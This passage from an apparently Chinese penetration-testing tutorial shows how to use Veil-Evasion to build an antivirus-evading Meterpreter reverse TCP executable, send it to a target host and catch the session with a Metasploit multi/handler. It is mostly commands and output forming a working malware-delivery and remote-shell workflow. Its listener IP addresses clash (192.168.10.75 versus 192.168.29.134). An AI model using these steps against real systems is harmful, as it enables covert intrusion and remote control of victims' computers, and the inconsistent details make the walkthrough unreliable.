    EXPIRE_PAYLOAD X Optional: Payloads expire after "Y" days
    HOSTNAME X Optional: Required system hostname
    INJECT_METHOD Virtual Virtual or Heap
    LHOST IP of the Metasploit handler
    LPORT 4444 Port of the Metasploit handler
    PROCESSORS X Optional: Minimum number of processors
    SLEEP X Optional: Sleep "Y" seconds, check if accelerated
    TIMEZONE X Optional: Check to validate not in UTC
    USERNAME X Optional: The required user account
    USE_ARYA N Use the Arya crypter
    Available Commands:
    back Go back to Veil-Evasion
    exit Completely exit Veil
    generate Generate the payload
    options Show the shellcode's options
    set Set shellcode option
    [cs/meterpreter/rev_tcp>>]:

    以上输出信息显示了攻击载荷的可配置选项。从以上信息中可以看到没有配置LHOST选项。

  4. 配置LHOST选项,并查看所有配置信息。执行命令如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    [cs/meterpreter/rev_tcp>>]: set LHOST 192.168.10.75
    [cs/meterpreter/rev_tcp>>]: options
    Payload: cs/meterpreter/rev_tcp selected
    Required Options:
    Name Value Description
    ---- ----- -----------
    COMPILE_TO_EXE Y Compile to an executable
    DEBUGGER X Optional: Check if debugger is attached
    DOMAIN X Optional: Required internal domain
    EXPIRE_PAYLOAD X Optional: Payloads expire after "Y" days
    HOSTNAME X Optional: Required system hostname
    INJECT_METHOD Virtual Virtual or Heap
    LHOST 192.168.10.75 IP of the Metasploit handler
    LPORT 4444 Port of the Metasploit handler
    PROCESSORS X Optional: Minimum number of processors
    SLEEP X Optional: Sleep "Y" seconds, check if
    accelerated
    TIMEZONE X Optional: Check to validate not in UTC
    USERNAME X Optional: The required user account
    USE_ARYA N Use the Arya crypter
    Available Commands:
    back Go back to Veil-Evasion
    exit Completely exit Veil
    generate Generate the payload
    options Show the shellcode's options
    set Set shellcode option

    从输出的信息中可以看到,成功配置了LHOST选项。接下来,就可以生成攻击载荷了。

  5. 生成攻击载荷。执行命令如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
       [cs/meterpreter/rev_tcp>>]: generate 
    ===================================================================
    Veil-Evasion
    ===================================================================
    [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
    ===================================================================
    [>] Please enter the base name for output files (default is payload):
    [>] Please enter the base name for output files (default is payload): test #指定一个文件名
    ===================================================================
    Veil-Evasion
    ===================================================================
    [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
    ===================================================================
    [*] Language: cs
    [*] Payload Module: cs/meterpreter/rev_tcp
    [*] Executable written to: /var/lib/veil/output/compiled/test.exe
    [*] Source code written to: /var/lib/veil/output/source/test.cs
    [*] Metasploit Resource file written to: /var/lib/veil/output/handlers/test.rc
    Hit enter to continue...

    从输出的信息中可以看到,生成了一个可执行文件test.exe,并且该文件保存在/var/lib/veil/output/compiled/中。此时将可执行文件test.exe发送到目标主机上,就可以利用该攻击载荷了。
    用户也可以在命令行模式下生成攻击载荷。这里仍然以cs/meterpreter/rev_tcp模块为例,执行命令如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    # veil -t Evasion -p cs/meterpreter/rev_tcp.py --ip 192.168.10.75 --port 4444
    ===================================================================
    Veil-Evasion
    ===================================================================
    [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
    ===================================================================
    ===================================================================
    Veil-Evasion
    ===================================================================
    [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
    ==================================================================
    [*] Language: cs
    [*] Payload Module: cs/meterpreter/rev_tcp
    [*] Executable written to: /var/lib/veil/output/compiled/payload.exe
    [*] Source code written to: /var/lib/veil/output/source/payload.cs
    [*] Metasploit Resource file written to: /var/lib/veil/output/handlers/
    payload.rc

    从输出的信息中可以看到,成功生成了一个可执行文件payload.exe。
    同样,用户创建好攻击载荷文件后,还需要创建一个远程监听器。这样,当目标主机执行该攻击载荷文件后,将主动与攻击主机建立连接。使用Metasploit的exploit/multi/handler模块创建监听器如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    # msfconsole
    msf6 exploit(multi/handler) > set payload windows/
    Display all 245 possibilities? (y or n)
    msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
    payload => windows/meterpreter/reverse_tcp
    msf6 exploit(multi/handler) > set LHOST 192.168.10.75
    LHOST => 192.168.10.75
    msf6 exploit(multi/handler) > exploit
    [*] Started reverse TCP handler on 192.168.10.75:4444

    从输出的信息可以看到,成功创建了监听器。其中,监听的IP地址为192.168.29.134,端口为4444。此时,当目标主机执行了用户创建的攻击载荷文件test.exe,即可获取一个远程会话如下:

    1
    2
    3
    4
    5
    msf6 exploit(multi/handler) > exploit 
    [*] Started reverse TCP handler on 192.168.10.75:4444
    [*] Sending stage (208591 bytes) to 192.168.48.246
    [*] Meterpreter session 1 opened (192.168.29.134:4444 -> 192.168.48.246:45189) at 2020-12-22 16:02:22 +0800
    meterpreter >

    从输出的信息可以看到,成功获取了一个Meterpreter会话。

-------------本文结束感谢您的阅读-------------